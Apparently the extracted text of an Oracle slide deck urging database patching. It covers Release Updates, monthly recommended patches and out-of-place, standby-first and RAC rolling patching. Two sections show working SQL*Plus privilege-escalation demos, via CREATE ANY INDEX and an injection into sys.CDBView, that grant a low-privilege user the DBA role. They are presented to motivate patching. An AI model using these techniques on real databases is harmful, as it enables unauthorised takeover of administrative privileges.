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User with:

• CREATE SESSION
• CREATE PROCEDURE
• CREATE ANY INDEX

Creating any Index
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SQL> conn / as sysdba
Connected.

SQL> create user dbarj identified by "oracle";
User created.

sql> grant create session, create procedure, create any index to dbarj;
Grant succeeded.
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SQL> conn dbarj/oracle
Connected.

SQL> create or replace function getdba(c1 varchar)
return varchar deterministic authid current_user
is
pragma autonomous_transaction;

begin
execute immediate 'grant dba to dbarj';
commit;
return 'acme';

end;
/

Function created.

SQL> grant execute on getdba to public;

Grant succeeded.
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SQL> select table_name from all_tables where owner='SYSTEM' order by 1 asc;

TABLE_NAME
------------------------------
HELP
MVIEW$_ADV_INDEX
MVIEW$_ADV_OWB
MVIEW$_ADV_PARTITION
OL$
OL$HINTS
OL$NODES

7 rows selected.
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SQL> desc system.help

Name                                      Null?    Type
----------------------------------------- -------- -----------------------
TOPIC                                     NOT NULL VARCHAR2(50)
SEQ                                       NOT NULL NUMBER
INFO                                               VARCHAR2(80)
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SQL> create index info_index on system.help(dbarj.getdba(info));

Index created.

SQL> set role dba;

Role set.

SQL> drop index info_index;

Index dropped.



Creating any Index | Issue

SYSTEM DBARJ

function dbarj.getdba(c1 varchar)
return varchar deterministic authid current_user
is
pragma autonomous_transaction;

begin
execute immediate 'grant dba to dbarj';
commit;
return 'acme';

end;
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Basic Facts | Patch versus Upgrade
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Patching | Before Oracle Database 12.2

Base Release

PSU 1

PSU 2

PSU 3

PSU 4

BP 1

BP 2

BP 3

BP 4



Patching | Since Oracle Database 12.2

Base Release

RU 1

RU 2

RU 3

RU 4

RUR 1 for RU 1

RUR 1 for RU 2

RUR 1 for RU 3

RUR 1 for RU 4

RUR 2 for RU 1

RUR 2 for RU 2

RUR 2 for RU 3

RUR 2 for RU 4



Patching | From Oracle Database 19.17.0 (Oct 2022)

Base Release

RU 1

RU 2

RU 3

RU 4

RU 1 + MRP 1

RU 2 + MRP 1

RU 3 + MRP 1

RU 4 + MRP 1

RU 1 + MRP 2

RU 2 + MRP 2

RU 3 + MRP 2

RU 4 + MRP 2

RU 1 + MRP 3

RU 2 + MRP 3

RU 3 + MRP 3

RU 4 + MRP 3
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Monthly Recommended Patches | Timeline
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October November December January February March April May June July August September October November

19.17.0 19.17.0 MRP1 MRP2 MRP3 MRP4 MRP5 MRP6

19.18.0 19.18.0 MRP1 MRP2 MRP3 MRP4 MRP5 MRP6

19.19.0 19.19.0 MRP1 MRP2 MRP3 MRP4 MRP5 MRP6

19.20.0 19.20.0 MRP1 MRP2 MRP3 MRP4

19.21.0 19.21.0 MRP1

2022



Timeline | Release Updates

January April July October January April July October January April July October January April July

19c 19.6.0 19.9.0 19.8.0 19.9.0 19.20.0 19.11.0 19.12.0 19.13.0 19.14.0 19.15.0 19.16.0 19.17.0 19.18.0 19.19.0 19.20.0

21c 21.3.0 21.4.0 21.5.0 21.6.0 21.7.0 21.8.0 21.9.0 21.10.0 21.11.0 21.12.0

2020 2021 2022 2023



Lifetime Support Policy
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https://www.oracle.com/security-alerts/cpujul2023.html

https://www.oracle.com/security-alerts/cpujul2023.html


Release Update Contents

Database 19 Release Updates and Revisions Bugs Fixed Lists (Doc ID 2523220.1)
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https://support.oracle.com/epmos/faces/DocumentDisplay?id=2523220.1


Testing Recommendations

Overview of Database Patch Delivery Methods for 12.2.0.1 and greater (Doc ID 2337415.1)

https://support.oracle.com/epmos/faces/DocContentDisplay?id=2337415.1
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User with:

• CREATE SESSION
• EXECUTE_CATALOG_ROLE

EXECUTE_CATALOG_ROLE
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$ sqlplus /nolog

SQL*Plus: Release 12.2.0.1.0 Production

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit 
Production

SQL> conn / as sysdba
Connected.

SQL> create user c##dbarj identified by "oracle";
User created.

sql> grant create session, execute_catalog_role to c##dbarj;
Grant succeeded.
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SQL> conn c##dbarj/oracle
Connected.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE
-------------------------------------------------------------------------
EXECUTE_CATALOG_ROLE
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SQL> -- DON'T RUN IN PRODUCTION --
SQL> exec sys.CDBView.create_cdbview(true,'ALL_CUBES" as select 
/*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA 
AUTONOMOUS_TRANSACTION;BEGIN /* ','old_view' ,' */ execute immediate 
''grant dba to c##dbarj''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');

BEGIN sys.CDBView.create_cdbview(true,'ALL_CUBES" as select /*+WITH_PLSQL*/ 
x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA 
AUTONOMOUS_TRANSACTION;BEGIN /* ','old_view' ,' */ execute immediate 
''grant dba to c##dbarj''; RETURN ''1'';END; SELECT f as x FROM dual)-- '); 
END;
*
ERROR at line 1:
ORA-00905: missing keyword
ORA-06512: at "SYS.CDBVIEW", line 56
ORA-06512: at line 1



Copyright © 2023, Oracle and/or its affiliates28

SQL> select /*+WITH_PLSQL*/ * from ALL_CUBES;

X
------------
1

SQL> select granted_role from user_role_privs;

GRANTED_ROLE
-----------------------------
DBA
EXECUTE_CATALOG_ROLE



EXECUTE_CATALOG_ROLE | Issue

https://www.oracle.com/security-alerts/cpujan2018.html#AppendixDB

https://www.oracle.com/security-alerts/cpujan2018.html


Recommendation | Out-of-Place Patching



Recommendation | Out-of-Place Patching

Oracle Home, 19.9.0

New or Cloned 
Oracle Home

[oracle]$ $ORACLE_HOME/OPatch/opatch apply

New or Cloned 
Oracle Home, 19.20.0

SQL> SHUTDOWN IMMEDIATE

SQL> STARTUP[oracle]$ $ORACLE_HOME/OPatch/datapatch -verbose



Recommendation | Standby-First Patch Apply

Primary Standby

Redo Transport

New or Cloned 
Oracle Home

[oracle]$ $ORACLE_HOME/OPatch/opatch apply

New or Cloned 
Oracle Home

19.20.0

Redo Transport

DGMGRL> convert database PROD2 to snapshot standby;[oracle]$ $ORACLE_HOME/OPatch/datapatch -verboseDGMGRL> convert database PROD2 to physical standby;DGMGRL> switchover to PROD2;

Redo Transport

Redo Transport

[oracle]$ $ORACLE_HOME/OPatch/datapatch -verbose



Recommendation | Standby-First Patch Apply

Oracle Patch Assurance - Data Guard Standby-First Patch Apply (Doc ID 1265700.1)

https://support.oracle.com/epmos/faces/DocumentDisplay?id=1265700.1


Recommendation | RAC Rolling Patching

$ $ORACLE_HOME/OPatch/opatch apply$ $ORACLE_HOME/OPatch/opatchauto$ $ORACLE_HOME/OPatch/datapatch -verbose



Basic Facts | Insight into the Patching Process

Release Updates and Revisions are always:

• Standby-First installable

• RAC Rolling installable



Security

The most important reason
to upgrade and patch
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Critical Patch Alert July 2021 | Risk Matrix
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https://www.oracle.com/security-alerts/cpuoct2012.html#AppendixDB

https://www.oracle.com/security-alerts/cpuoct2012.html
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Year Total CVEs Corrected Remote w/o Auth
2014 43 4
2015 29 3
2016 30 8
2017 14 4
2018 12 6
2019 27 4
2020 58 11
2021 43 8
2022 26 2

Total 282 50



Security | Do We Really Need To Say This?

Source: https://www.nytimes.com/2019/07/22/business/equifax-settlement.html?module=inline



Security | What happens if you don't upgrade



Do you need to apply this bundle?

Evaluate the risk
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https://www.oracle.com/security-alerts/cpujul2021.html

https://www.oracle.com/security-alerts/cpujul2021.html


"My database is not facing the internet"
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of malware gets 
delivered via email

92%
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Summary | Tips for Patching Success

Use out-of-place patching to reduce downtime and risk

Standardize your environment and use gold images

Automate where possible

Stay current on quarterly Release Updates

Run utlrp.sql before you invoke datapatch to clean up invalid objects

Where applicable, use RAC Rolling patching and Standby-First Apply to further reduce 
downtime
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Grand Finale

https://unsplash.com/@kobbyfotos?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText
https://unsplash.com/s/photos/cherry-cake?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText


Copyright © 2023, Oracle and/or its affiliates59

Ph
ot

o 
by

 C
as

ey
 H

or
ne

ro
n 

U
ns

pl
as

h

Security is Only As Good As Your Weakest Link
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Recorded Web Seminars

https://www.dbarj.com.br/webinars/
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Further Information

The most important Links and MOS Notes



Most Important Notes

MOS Note: 742060.1
Release Schedule of Current Database Releases
https://support.oracle.com/epmos/faces/DocumentDisplay?id=742060.1

MOS Note: 2285040.1
Release Update Introduction and FAQ
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2285040.1

MOS Note: 756671.1
Master Note for Database Proactive Patch Program
https://support.oracle.com/epmos/faces/DocumentDisplay?id=756671.1

MOS Note: 1962125.1
Oracle Database - Overview of Database Patch Delivery Methods for 12.1.0.2 and lower
https://support.oracle.com/epmos/faces/DocumentDisplay?id=1962125.1

MOS Note 2337415.1 
Oracle Database - Overview of Database Patch Delivery Methods for 12.2.0.1 and greater
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2337415.1

MOS Note: 2118136.2
Assistant: Download Reference for Oracle Database/GI PSU, SPU(CPU), Bundle Patches, Patchsets and Base Releases
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2118136.2

https://support.oracle.com/epmos/faces/DocumentDisplay?id=742060.1
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2285040.1
https://support.oracle.com/epmos/faces/DocumentDisplay?id=756671.1
https://support.oracle.com/epmos/faces/DocumentDisplay?id=1962125.1
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2337415.1
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2118136.2


YouTube | Oracle Database Upgrades and Migrations
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YouTube Channel

https://www.youtube.com/channel/UCTKvCZwAbOeTSRFQDAh7yXw


Thank you!


